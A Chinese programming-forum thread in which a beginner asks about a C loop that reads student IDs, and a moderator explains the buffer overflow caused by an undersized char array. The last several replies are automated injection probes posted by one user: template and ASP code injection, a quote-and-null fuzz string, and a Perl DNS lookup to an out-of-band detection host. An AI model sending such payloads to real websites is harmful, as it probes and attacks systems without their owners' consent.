| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
共有 1438 人关注过本帖, 1 人收藏
标题:为什么for循环不能循环输入 while循环就可以 TAT
只看楼主 加入收藏
bug芒果核
Rank: 1
等 级:新手上路
帖 子:9
专家分:0
注 册:2025-9-12
结帖率:100%
收藏(1)
 问题点数:20 回复次数:195 
为什么for循环不能循环输入 while循环就可以 TAT
hi hi hi 大牛 帮帮小菜吧
for循环
#include<stdio.h>
int main(){
    int n;
    scanf("%d",&n);
    for(int i=1;i<=n;i++){
        char a[8];
        scanf("%s",&a);
        if(a[4]=='1') printf("chuanyuan %c%c%c\n",a[5],a[6],a[7]);
        else printf("shie %c%c%c\n",a[5],a[6],a[7]);   
    }
    return 0;
}
while循环
#include<stdio.h>
int main(){
    int n;
    scanf("%d",&n);
    while(n--){
        char a[8];
        scanf("%s",&a);
        if(a[4]=='1') printf("chuanyuan %c%c%c\n",a[5],a[6],a[7]);
        else printf("shie %c%c%c\n",a[5],a[6],a[7]);   
    }
    return 0;
}
题目
题目描述

热烈欢迎 新北航人! ggengx 是一名迎新志愿者,他需要根据学号判断出新生来自 传源书院 还是 士谔书院(当然还有很多其他学院,为了简化处理就不考虑啦)。并送上相应的开学大礼包。
已知:
25级传源书院新生的学号组成为 25371xxx,例如 25371001 、 25371271
25级士谔书院新生的学号组成为 25373xxx,例如 25373080 、 25373173
输入
共 n+1行输入
第一行输入正整数 n表示有n个学号1≤n≤1×103
后续n行,每行输入一个学号(8位)例如 25373271,保证输入的学号是 25级传源/士谔书院的合法学号
输出
共n行,对于每一个学号,需要有两样输出
输出其学院名称 :如果是传源书院的学生,输出chuanyuan;
如果是士谔书院的学生,输出shie
输出学号后三位学院名称与学号后三位之间使用一个空格分割
输入样例
3
25371001
25371498
25373211
输出样例
chuanyuan 001
chuanyuan 498
shie 211
搜索更多相关主题的帖子: 输入 学号 输出 循环 while 
前天 22:31
rjsp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
等 级:版主
威 望:528
帖 子:9063
专家分:54331
注 册:2011-1-18
收藏
得分:0 
你的错误代码
char a[8];
scanf("%s",&a);

正确代码,可以是
char a[9];
scanf("%s",a);
也可以是
char a[8];
scanf(" %8c",a); // 另外,注意格式化字符串首位是个空格



昨天 08:30
bug芒果核
Rank: 1
等 级:新手上路
帖 子:9
专家分:0
注 册:2025-9-12
收藏
得分:0 
回复 2楼 rjsp
删去&我懂了
但为什么要把8换成9,不然就要写%8c
(我真心不知道,大牛不要厌蠢
(是因为a[0]是空格?

[此贴子已经被作者于2025-9-19 13:46编辑过]

昨天 13:38
rjsp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
等 级:版主
威 望:528
帖 子:9063
专家分:54331
注 册:2011-1-18
收藏
得分:0 
%s 是读入一个字符串(以'\0'结尾),你需要读入一个8位的学号,包括字符串尾部的'\0'在内,就需要 char[9]。如果是char a[8]的话,会导致缓冲区溢出。

%8c 是读入8个字符,因为没有尾部的'\0',所以它只需要char[8]。之所以 " %8c" 中前端有个空格,是需要略过前导的空白字符(回车、换行 等等都属于空白字符);而"%s"不要的原因是,它本身就会忽略掉前导的空白字符。
昨天 16:48
yyy456
Rank: 1
等 级:新手上路
帖 子:327
专家分:0
注 册:2025-9-19
收藏(1)
得分:0 
to@
昨晚 23:11
yyy456
Rank: 1
等 级:新手上路
帖 子:327
专家分:0
注 册:2025-9-19
收藏(1)
得分:0 
${9999153+9999450}
昨晚 23:11
yyy456
Rank: 1
等 级:新手上路
帖 子:327
专家分:0
注 册:2025-9-19
收藏(1)
得分:0 
'+response.write(9030862*9328197)+'
昨晚 23:11
yyy456
Rank: 1
等 级:新手上路
帖 子:327
专家分:0
注 册:2025-9-19
收藏(1)
得分:0 
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'馃挕
昨晚 23:11
yyy456
Rank: 1
等 级:新手上路
帖 子:327
专家分:0
注 册:2025-9-19
收藏
得分:0 
&n968052=v917765
昨晚 23:11
yyy456
Rank: 1
等 级:新手上路
帖 子:327
专家分:0
注 册:2025-9-19
收藏
得分:0 
'.gethostbyname(lc('hityx'.'insjlndp345c4.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(67).chr(99).chr(86).'
昨晚 23:11
快速回复:为什么for循环不能循环输入 while循环就可以 TAT
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.017418 second(s), 10 queries.
Copyright©2004-2025, BC-CN.NET, All Rights Reserved